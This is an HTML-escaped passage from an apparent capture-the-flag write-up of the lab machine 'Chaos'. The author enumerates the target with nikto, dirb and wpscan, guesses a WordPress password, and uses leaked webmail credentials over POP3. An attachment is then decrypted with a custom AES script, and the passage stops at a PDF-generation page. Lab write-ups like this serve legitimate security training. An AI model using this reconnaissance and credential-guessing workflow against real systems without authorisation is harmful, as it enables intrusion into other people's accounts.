&lt;/ul&gt;

&lt;p&gt;As a first thing, I decided to go onto the port 80 and see what kind of web content was there.
The site was pretty empty, so I decided to enumerate more.&lt;/p&gt;

&lt;h4 id=&quot;nikto&quot;&gt;Nikto&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nikto &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; 10.10.10.120

- Nikto v2.1.6

&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;

- Target IP:          10.10.10.120
- Target Hostname:    10.10.10.120
- Target Port:        80
- Start Time:         2019-05-04 07:23:21 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GMT-4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;

- Server: Apache/2.4.34 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
- Server leaks inodes via ETags, header found with file /, fields: 0x49 0x57947aa3269e5
- The anti-clickjacking X-Frame-Options header is not present.
- The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;a different fashion to the MIME &lt;span class=&quot;nb&quot;&gt;type&lt;/span&gt;
- No CGI Directories found &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;use &lt;span class=&quot;s1&quot;&gt;&apos;-C all&apos;&lt;/span&gt; to force check all possible &lt;span class=&quot;nb&quot;&gt;dirs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
- Allowed HTTP Methods: HEAD, GET, POST, OPTIONS
- OSVDB-3233: /icons/README: Apache default file found.
- 7499 requests: 0 error&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; and 6 item&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; reported on remote host
- End Time:           2019-05-04 07:29:11 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;GMT-4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;350 seconds&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;

- 1 host&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; tested
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nikto didn’t report anything really useful, so I run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dirb&lt;/code&gt; against the target to see if there was some hidden directory.&lt;/p&gt;

&lt;h4 id=&quot;dirb&quot;&gt;Dirb&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/chaos# dirb http://10.10.10.120/ /usr/share/dirb/wordlists/common.txt

&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;

DIRB v2.22

&lt;span class=&quot;c&quot;&gt;## By The Dark Raver&lt;/span&gt;

START_TIME: Sat May  4 07:23:03 2019
URL_BASE: http://10.10.10.120/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;

GENERATED WORDS: 4612

&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt; Scanning URL: http://10.10.10.120/ &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;

- http://10.10.10.120/index.html &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200|SIZE:73&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;==&amp;gt;&lt;/span&gt; DIRECTORY: http://10.10.10.120/javascript/
- http://10.10.10.120/server-status &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:403|SIZE:300&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;==&amp;gt;&lt;/span&gt; DIRECTORY: http://10.10.10.120/wp/

&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt; Entering directory: http://10.10.10.120/javascript/ &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;==&amp;gt;&lt;/span&gt; DIRECTORY: http://10.10.10.120/javascript/jquery/

&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt; Entering directory: http://10.10.10.120/wp/ &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;(!)&lt;/span&gt; WARNING: Directory IS LISTABLE. No need to scan it.
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Use mode &lt;span class=&quot;s1&quot;&gt;&apos;-w&apos;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;you want to scan it anyway&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt; Entering directory: http://10.10.10.120/javascript/jquery/ &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;

- http://10.10.10.120/javascript/jquery/jquery &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;CODE:200|SIZE:268026&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;nt&quot;&gt;------&lt;/span&gt;

END_TIME: Sat May  4 07:33:01 2019
DOWNLOADED: 13836 - FOUND: 3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The most interesting directory was clearly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wp&lt;/code&gt; as at this location there was a Wordpress site, which looked pretty empty.&lt;/p&gt;

&lt;p&gt;When a Wordpress site is there,  WPscan is a perfect tool to use.&lt;/p&gt;

&lt;h4 id=&quot;wpscan&quot;&gt;WPscan&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wpscan&lt;/code&gt; reproted several findings (possible vulnerable plugins etc.), but the most important was that a user wrote a comment somewhere on the site: user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;human&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In addition, there was one page that was protected by password.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here guesswork just paid off. The user is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;human&lt;/code&gt;, so why not trying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;human&lt;/code&gt; password? This, luckily, worked, and I got a page with the content:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Protected: chaos
creds for webmail

username - ayush
password - jiujitsu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, these credentials are clearly useful for something, but I was not sure what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webmail&lt;/code&gt; meant. I tried them against &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webmin&lt;/code&gt; on port 10000 but they did not work.&lt;/p&gt;

&lt;p&gt;There was not a Roundcube instance exposed or something similar, so I decided to try to investigate further &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop3&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imap&lt;/code&gt; ports.&lt;/p&gt;

&lt;h4 id=&quot;pop-and-imap&quot;&gt;POP and IMAP&lt;/h4&gt;

&lt;p&gt;First, I tried to investigate POP3s&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# socat  - OPENSSL:chaos:995,verify&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 
+OK Dovecot &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; ready.
USER ayush
+OK
PASS jiujitsu
+OK Logged &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The credentials actually worked, but looking around I could not find anything useful.&lt;/p&gt;

&lt;p&gt;So I decided to go back to my Kali gui, install Thunderbird and try configuring a new email which uses the target machine as the server and authenticates with the credentials found.&lt;/p&gt;

&lt;p&gt;The login worked and once I was logged in, I looked around and found a draft message with some attachment that I downloaded.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/chaos# &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;mail 
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush

enim_msg.txt

0000000000000234®îªzŠØ³pK8…ZCƒÌõð¹‰^9ä¯kW‡À•Ô&amp;amp;wø9Ü¾©‚ö½EÓä&lt;span class=&quot;s1&quot;&gt;&apos;q’[žèžû9îZ‹Þ3€«íæ.žC–¹ÚÁí¬Ë;¬Ø3Áø•¢¾ó6¼ŸR`n
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The attachment enim_msg.txt was some encrypted string, and in addition there was also a Python script with what looked like the function used to &lt;em&gt;encrypt&lt;/em&gt; the content.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kali&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;~/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chaos&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;# cat en.py 
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;chunksize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;outputFile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;en&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;filesize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zfill&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;encryptor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MODE_CBC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;rb&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;infile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;outputFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;wb&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;outfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;outfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filesize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;outfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;chunk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;infile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunksize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;chunk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos; &apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;outfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;hasher&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHA256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking around on the internet, I foudn that this is a snippet of code from a AES encryption/decryption tool, but instead I decided to just write the decryption function myself.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;chunksize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;input_file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;enim_msg.txt&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;filecontent&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;rb&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;File content %s bytes&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filecontent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;filesize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filecontent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filecontent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ciphertext&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;filecontent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MODE_CBC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ciphertext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    
&lt;span class=&quot;n&quot;&gt;File&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;content&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;272&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;
&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this point the message decrypted was clearly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; encoded, so I decoded it.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~/chaos# &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SGlpIFNhaGF5CgpQbGVhc2UgY2hlY2sgb3VyIG5ldyBzZXJ2aWNlIHdoaWNoIGNyZWF0ZSBwZGYKCnAucyAtIEFzIHlvdSB0b2xkIG1lIHRvIGVuY3J5cHQgaW1wb3J0YW50IG1zZywgaSBkaWQgOikKCmh0dHA6Ly9jaGFvcy5odGIvSjAwX3cxbGxfZjFOZF9uMDdIMW45X0gzcjMKClRoYW5rcywKQXl1c2gK&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The link pointed to some PDF generation page. Here we could insert some code and choose a template, and some PDF would have been generated for us (or at least that’s what the page claimed).&lt;/p&gt;

